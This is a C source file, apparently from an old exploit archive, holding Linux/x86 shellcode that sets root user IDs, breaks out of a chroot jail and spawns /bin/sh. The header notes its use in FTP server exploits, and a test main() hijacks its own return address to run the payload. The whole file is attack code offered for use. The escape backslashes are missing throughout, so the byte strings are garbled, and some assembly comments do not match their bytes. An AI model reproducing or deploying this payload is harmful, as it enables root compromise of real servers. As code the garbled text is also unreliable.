/*
 *  Linux/x86
 *
 *  - setreuid(0, 0); 
 *  - chroot-break (make a temp dir with mkdir(), chroot() to tempdir,
 *    go through a loop of chdir(".."); then a final chroot(".");
 *  - execve of /bin/sh
 *
 *  (used in several wu-ftpd, beroftpd and proftpd exploits, amongst others)
 */

#include <stdio.h>
char c0de[] =
/* main: */
"x29xc0"                                  /* subl %eax, %eax             */
"x29xdb"                                  /* subl %ebx, %ebx             */
"x29xc9"                                  /* subl %ecx, %ecx             */
"xb0x46"                                  /* movb $0x46, %al             */
"xcdx80"                                  /* int $0x80                   */

"xebx60"                                  /* jmp callz                   */

/* start: */
"x5e"                                      /* popl %esi                   */
"x8dx5ex0f"                              /* leal 0x0f(%esi), %ebx       */

/* loopz: */
"x39xf3x7c"                              /* cmpl %esi, %ebx             */
"x06x80"                                  /* jl after                    */
"x03x04"                                  /* addb $0x04, (%ebx)          */
"x4b"                                      /* decl %ebx                   */
"xebxf6"                                  /* jmp loopz                   */
"x29xc0"                                  /* subl %eax, %eax             */
"x88x46x01"                              /* movb %al, 0x01(%esi)        */
"x88x46x08"                              /* movb %al, 0x08(%esi)        */
"x88x46x10"                              /* movb %al, 0x10(%esi)        */
"x8dx5ex07"                              /* leal 0x07(%esi), %ebx       */
"xb0x0c"                                  /* movb $0x0c, %al             */
"xcdx80"                                  /* int $0x80                   */
"x8dx1e"                                  /* leal (%esi), %ebx           */
"x29xc9"                                  /* subl %ecx, %ecx             */
"xb0x27"                                  /* movb $0x27, %al             */
"xcdx80"                                  /* int $0x80                   */
"x29xc0"                                  /* subl %eax, %eax             */
"xb0x3d"                                  /* movb $0x3d, %al             */
"xcdx80"                                  /* int $0x80                   */
"x29xc0"                                  /* subl %eax, %eax             */
"x8dx5ex02"                              /* leal 0x02(%esi), %ebx       */
"xb0x0c"                                  /* movb $0x0c, %al             */
"xcdx80"                                  /* int $0x80                   */
"x29xc0"                                  /* subl %eax, %eax             */
"x88x46x03"                              /* movb %al, 0x03(%esi)        */
"x8dx5ex02"                              /* leal 0x02(%esi), %ebx       */
"xb0x3d"                                  /* movb $0x3d, %al             */
"xcdx80"                                  /* int $0x80                   */
"x8dx5ex09"                              /* leal 0x09(%esi), %ebx       */
"x89x5bx08"                              /* movl %ebx, 0x08(%ebx)       */
"x29xc0"                                  /* subl %eax, %eax             */
"x88x43x07"                              /* movb %al, 0x07(%ebx)        */
"x89x43x0c"                              /* movl %eax, 0x0c(%ebx)       */
"xb0x0b"                                  /* movb $0x0b, %al             */
"x8dx4bx08"                              /* leal 0x08(%ebx), %ecx       */
"x8dx53x0c"                              /* leal 0x0c(%ebx), %edx       */
"xcdx80"                                  /* int $0x80                   */
"x29xc0"                                  /* subl %eax, %eax             */
"x40"                                      /* incl %eax                   */
"xcdx80"                                  /* int $0x80                   */
"xe8x9bxffxffxff"                      /* call start                  */
"xffxffxff"                              /* markup                      */

"x3dx3dx2ax2ax2bx2ax2ax2bx3dx2bx5ex65x6ax2bx6fx64";

main() {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%dn",strlen(c0de));
        (*ret) = (int)c0de;
}

// www.Syue.com [2000-08-07]